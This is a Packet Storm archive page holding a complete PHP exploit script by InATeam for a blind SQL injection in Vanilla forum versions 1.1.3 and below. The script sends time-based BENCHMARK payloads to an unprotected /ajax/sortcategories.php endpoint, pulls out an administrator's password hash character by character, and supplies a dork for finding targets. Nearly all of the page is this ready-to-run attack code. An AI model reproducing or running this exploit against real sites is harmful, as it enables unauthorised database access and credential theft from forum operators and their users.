seeing is believing

vanilla-sql.txt

vanilla-sql.txt
Posted Oct 22, 2007
Authored by InATeam | Site inattack.ru

Vanilla versions 1.1.3 and below remote blind SQL injection exploit.

tags | exploit, remote, sql injection
MD5 | 7b0a1cead2cd49e9281e8323d8077ddd

vanilla-sql.txt

Change Mirror Download
<?php
## Vanilla <= 1.1.3 Remote Blind SQL Injection Exploit
## By InATeam (http://inattack.ru/)
## Requirements: MySQL >= 4.1, magic_quotes_gpc=Off
## Tested on versions 1.1.3, 1.1.2, 1.0.1

echo "------------------------------------------------------------\n";
echo "Vanilla <= 1.1.3 Remote Blind SQL Injection Exploit\n";
echo "(c)oded by Raz0r, InATeam (http://inattack.ru/)\n";
echo "dork: \"is a product of Lussumo\"\n";
echo "------------------------------------------------------------\n";

if ($argc<2) {
echo "USAGE:\n";
echo "~~~~~~\n";
echo "php {$argv[0]} [url] OPTIONS\n\n";
echo "[url] - target server where Vanilla is installed\n\n";
echo "OPTIONS:\n";
echo "-p=<prefix> - use specific prefix (default LUM_)\n";
echo "-id=<id> - use specific user id (default 1)\n";
echo "-c=<count> - benchmark()'s loop count (default 300000)\n";
echo "-v - verbose mode\n\n";
echo "tip:\n";
echo "use bigger number of <count> if server is slow\n\n";
echo "examples:\n";
echo "php {$argv[0]} http://site.com/vanilla/ -p=forum_ -id=2\n";
echo "php {$argv[0]} http://forum.site.com:8080/ -c=400000\n";
die;
}
/**
* Software site: http://lussumo.com/
*
* Script /ajax/sortcategories.php is supposed to be used by admin to sort
* the categories. However it isnt protected from unathorized users. Besides,
* it doesnt properly sanitize user's input data, so we can inject the SQL * code into the UPDATE query. Script /ajax/sortroles.php is also vulnerable.
*/
error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",20);
$url = $argv[1];
for($i=2;$i<$argc;$i++) {
if(strpos($argv[$i],"=")!==false) {
$exploded=explode("=",$argv[$i]);
if ($exploded[0]=='-p') $prefix = $exploded[1];
if ($exploded[0]=='-id') $id = $exploded[1];
if ($exploded[0]=='-c') $benchmark = $exploded[1];
}
elseif($argv[$i] == '-v') $verbose=true;
}
if (!isset($prefix)) $prefix = "LUM_";
if (!isset($id)) $id = 1;
if (!isset($benchmark)) $benchmark = 300000;
if (!isset($verbose)) $verbose=false;

$url_parts = parse_url($url);
$host = $url_parts['host'];
if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80;
$path = $url_parts['path'];
$query_pattern = "-99'+OR+IF(%s,BENCHMARK(%d,MD5(31337)),1)/*";
print "[~] Testing probe delays...\n";
$ok=true; $nodelay=0; $withdelay=0;
for ($i=1;$i<=3;$i++){
$query = sprintf($query_pattern, "1=1", 1);
$fdelay = get($query);
if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;}
$query = sprintf($query_pattern, "1=1", $benchmark);
$sdelay = get($query);
if ($sdelay!==false) $withdelay+=$sdelay; else {$ok=false;break;}
if ($sdelay<=($fdelay*2)) {$ok=false;break;}
usleep($benchmark/1000); $delay=false;
}
if ($ok) {
$nondelayed = $nodelay/3;
print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs\n";
$delayed = $withdelay/3;
print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs\n";
}
else die("[-] Exploit failed\n");
print " Getting hash...";
if ($verbose) {print "\r[~]"; print "\n";}
$hash='';
for($i=1; $i<=32; $i++) {
$chr = gethashchar($i);
if($chr!==false) $hash .= $chr;
else {
$chr = gethashchar($i);
if ($chr !==false)$hash .= $chr;
else die("\n[-] Exploit failed\n"); } }
if (!$verbose) {print "\r[~]"; print "\n";}
print "[+] Result: {$hash}\n";

function gethashchar ($pos) {
global $query_pattern,$prefix,$id,$benchmark,$verbose;
$inj = "ORD(SUBSTRING((SELECT+Password+FROM+{$prefix}User+WHERE+UserID={$id}),{$pos},1))";
$query = sprintf($query_pattern, $inj.">57", $benchmark*4);
$success = condition($query);
if (!$success) {
if ($verbose) print "[v] Position {$pos}: char is [0-9]\n";
$min = 48;
$max = 57; }
else {
if ($verbose) print "[v] Position {$pos}: char is [a-f]\n";
$min = 97;
$max = 102; }
for($i=$min;$i<=$max;$i++) {
$query = sprintf($query_pattern, $inj."=".$i, $benchmark*4);
$success = condition($query);
if ($success) {
$query = sprintf($query_pattern, $inj."<>".$i, $benchmark*4);
$recheck = condition($query);
if (!$recheck) {
$chr = chr($i);
if ($verbose) print "[v] Position {$pos}: char is {$chr}\n";
return $chr;
}
}
}
return false;
}
function condition($query) {
global $delayed,$benchmark,$verbose;
for($attempt = 1; $attempt <= 10; $attempt++){
$delay = get($query,true);
if ($delay === false) {
if ($verbose) print "[v] Attempt {$attempt}: error\n";
}
else {
if ($verbose) print "[v] Attempt {$attempt}: success (delay is {$delay} dsecs)\n"; break;
}
}
if ($attempt == 10) die("[-] Exploit failed\n");
if($delay > ($delayed * 2)) {
usleep(($benchmark*4)/1000);
return true; }
return false;
}
function get($query,$gethash=false) {
global $host,$port,$path,$verbose;
if ($gethash&&!$verbose) status();
$start = getmicrotime();
$ock = fsockopen(gethostbyname($host),$port);
if (!$ock) return false;
else {
$packet = "GET {$path}ajax/sortcategories.php?CategoryID={$query} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "User-Agent: InAttack User Agent\r\n";
$packet .= "Connection: Close\r\n\r\n";
fputs($ock, $packet);
$html='';
while (!feof($ock)) $html.=fgets($ock);
$end = getmicrotime();
$exploded = explode("\r\n",$html);
$errno=array();
preg_match('@(\d{3})@',$exploded[0],$errno);
if ($errno[1]!=200) die("[-] Exploit failed\n");
}
return intval(($end-$start)*10);
}
function status() {
static $n;
$n++;
if ($n > 3) $n = 0;
if($n==0){ print "\r[-]\r"; }
if($n==1){ print "\r[\\]\r";}
if($n==2){ print "\r[|]\r"; }
if($n==3){ print "\r[/]\r"; }
}
function getmicrotime() {return array_sum(explode(" ", microtime()));}
?>


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    2 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close